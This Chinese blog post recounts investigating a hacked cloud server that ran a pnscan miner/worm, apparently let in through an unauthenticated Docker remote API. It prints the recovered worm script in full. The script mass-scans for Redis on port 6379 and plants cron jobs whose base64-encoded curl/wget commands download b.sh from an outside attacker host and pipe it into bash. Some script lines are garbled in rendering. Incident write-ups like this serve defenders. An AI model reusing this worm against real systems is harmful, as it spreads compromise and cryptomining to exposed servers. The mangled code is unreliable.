记一次轻量服务器被入侵的排查过程

缘起

  • day1:兴高采烈新装了个一台轻量,打算用来练练docker,装好了docker,跑了个helloworld,开启了远程访问访问,5:30下班。
  • day2:早晨醒来,收到一个腾讯云的提醒,说我向外攻击,想了半天没想起来我本身没有这种操作啊,而且docker里面也只装了个ng,也没有其他的东西啊。

第一步 登录服务器查看是不是有访问外部6379端口的进程,通过netstat -an|grep 6379 发现有大量的本地端口在访问外部的6379,进程同时指向一个pnscan的工具,搜了一下pnscan关键字,很多结果均指向这是个挖矿病毒。

第二步 查看操作历史
分别使用last 、history查看日志,都没有任何记录,这明显是被人给清了。

第三步 top查看服务器资源,发现cpu被占用95%以上,直接kill掉pnscan进程,cpu降至50%,还是不太正常,稍等会发现pnscan又复活了,看来是有个后端脚本在监听进程的,通过whereis pnscan,找到这个位置,直接rm -rf pnscan,再次kill掉pnscan,cpu降下来了。
再次top发现有个httpd的进程很奇怪,因为我是新装的轻量,所以我对进程有哪些很清楚,如果是个老系统,那就很有迷惑性了,通过whereis httpd,找到httpd所在的目录,进去一看真是小刀拉屁股,开了眼了,这里面看起来放的都是一堆碎片文件,似乎真是在挖矿?????????

找到httpd.sh 脚本,打开源码发现这确实是个调用pnscan扫描6379端口的工具

 #!/bin/bash
 setenforce 0 2>/dev/null
 ulimit -u 50000
 sleep 1
 iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
 iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
 sleep 1
rm -rf .dat .shard .ranges .lan 2>/dev/null
 sleep 1
 echo 'config set dbfilename "backup.db"' > .dat
 echo 'save' >> .dat
 echo 'config set stop-writes-on-bgsave-error no' >> .dat
 echo 'flushall' >> .dat
 echo 'set backup1 "\\n\\n\\n*/2 * * * * echo Y2QxIGh0dHA6Ly9vcmFjbGUuenpocmVjZWl2ZS50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash \\n\\n"' >> .dat
 echo 'set backup2 "\\n\\n\\n*/3 * * * * echo d2dldCAtcSAtTy0gaHR0cDovL29yYWNsZS56emhyZWNlaXZlLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash\\n\\n"' >> .dat
 echo 'set backup3 "\\n\\n\\n*/4 * * * * echo Y3VybCBodHRwOi8vb3JhY2xlLnp6aHJlY2VpdmUudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bash\\n\\n"' >> .dat
 echo 'config set dir "/var/spool/cron/"' >> .dat
 echo 'config set dbfilename "root"' >> .dat
 echo 'save' >> .dat
 echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
 echo 'save' >> .dat
 echo 'flushall' >> .dat
 echo 'set backup1 "\\n\\n\\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9vcmFjbGUuenpocmVjZWl2ZS50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash \\n\\n"' >> .dat
 echo 'set backup2 "\\n\\n\\n*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL29yYWNsZS56emhyZWNlaXZlLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash\\n\\n"' >> .dat
 echo 'set backup3 "\\n\\n\\n*/4 * * * * root echo Y3VybCBodHRwOi8vb3JhY2xlLnp6aHJlY2VpdmUudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bash\\n\\n"' >> .dat
 echo 'config set dir "/etc/cron.d/"' >> .dat
 echo 'config set dbfilename "zzh"' >> .dat
 echo 'save' >> .dat
 echo 'config set dir "/etc/"' >> .dat
 echo 'config set dbfilename "crontab"' >> .dat
 echo 'save' >> .dat
 sleep 1
 pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
 for z in $( seq 0 5000 | sort -R ); do
 for x in $( echo -e "47\\n39\\n8\\n121\\n106\\n120\\n123\\n65\\n3\\n101\\n139\\n99\\n63\\n81\\n44\\n18\\n119\\n100\\n42\\n49\\n118\\n54\\n1\\n50\\n114\\n182\\n52\\n13\\n34\\n112\\n115\\n111\\n116\\n16\\n35\\n117\\n124\\n59\\n36\\n103\\n82\\n175\\n122\\n129\\n45\\n152\\n159\\n113\\n15\\n61\\n180\\n172\\n157\\n60\\n218\\n176\\n58\\n204\\n140\\n184\\n150\\n193\\n223\\n192\\n75\\n46\\n188\\n183\\n222\\n14\\n104\\n27\\n221\\n211\\n132\\n107\\n43\\n212\\n148\\n110\\n62\\n202\\n95\\n220\\n154\\n23\\n149\\n125\\n210\\n203\\n185\\n171\\n146\\n109\\n94\\n219\\n134" | sort -R ); do
 for y in (seq0255∣sort−R);do( seq 0 255 | sort -R ); do(seq0255∣sort−R);dopnx -t256 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' x.x.x.y.0.0/16 6379 > .r.x.x.x.y.o
 awk '/Linux/ {print $1, 3}' .r.x.y.o>.r.y.o > .r.y.o>.r.x.$y.l
 while read -r h p; do
 cat .dat | redis-cli -h $h -p p --raw & done < .r.x.$y.l
 done
 done
 done
 sleep 1
 masscan --max-rate 10000 -p6379 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
 sleep 1
 while read -r h p; do
 cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
 done < .shard
 sleep 1
 masscan --max-rate 10000 -p6379 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
 sleep 1
 while read -r h p; do
 cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
 done < .ranges
 sleep 1
 ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's//([0-9]{2})//16/g' > .inet
 sleep 1
 masscan --max-rate 10000 -p6379 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
 sleep 1
 while read -r h p; do
 cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
 done < .lan
 sleep 60
 rm -rf .dat .shard .ranges .lan 2>/dev/null

始作俑者正是这个脚本,把脚本删掉,kill httpd进程,cpu降下来了。那么他是通过什么途径进入到我的机器的呢?通过pnscan关键字搜了一下发现有的人的机器现象和我是几乎一模一样的,他在文章中指出问题源自于docker开启了远程访问,同时又没有开启认证,导致被入侵了。

此时还有一系列问题没有处理,比如我没有删除恶意authorized_keys的权限,为了安全起见(偷懒)我选择了重装。

ps:刚开始不知道轻量的镜像功能在重装后还保留,导致出了故障之后我只保留了一部分截图就重装了,当时应该保留一个镜像才能更好复盘呢,在这里必须夸一夸腾讯云

下一篇我将模拟一下黑客的入侵方式,实现特定条件下的自我入侵初体验


腾云先锋(TDP,Tencent Cloud Developer Pioneer)是腾讯云 GTS 官方组建并运营的技术开发者群体。这里有最专业的开发者&客户,能与产品人员亲密接触,专有的问题&需求反馈渠道,有一群志同道合的兄弟姐妹。来加入属于我们开发者的社群吧 。

本站文章资源均来源自网络,除非特别声明,否则均不代表站方观点,并仅供查阅,不作为任何参考依据!
如有侵权请及时跟我们联系,本站将及时删除!
如遇版权问题,请查看 本站版权声明
THE END
分享
二维码
海报
记一次轻量服务器被入侵的排查过程
第一步 登录服务器查看是不是有访问外部6379端口的进程,通过netstat -an|grep 6379 发现有大量的本地端口在访问外部的6379,进程同时指向...
<<上一篇
下一篇>>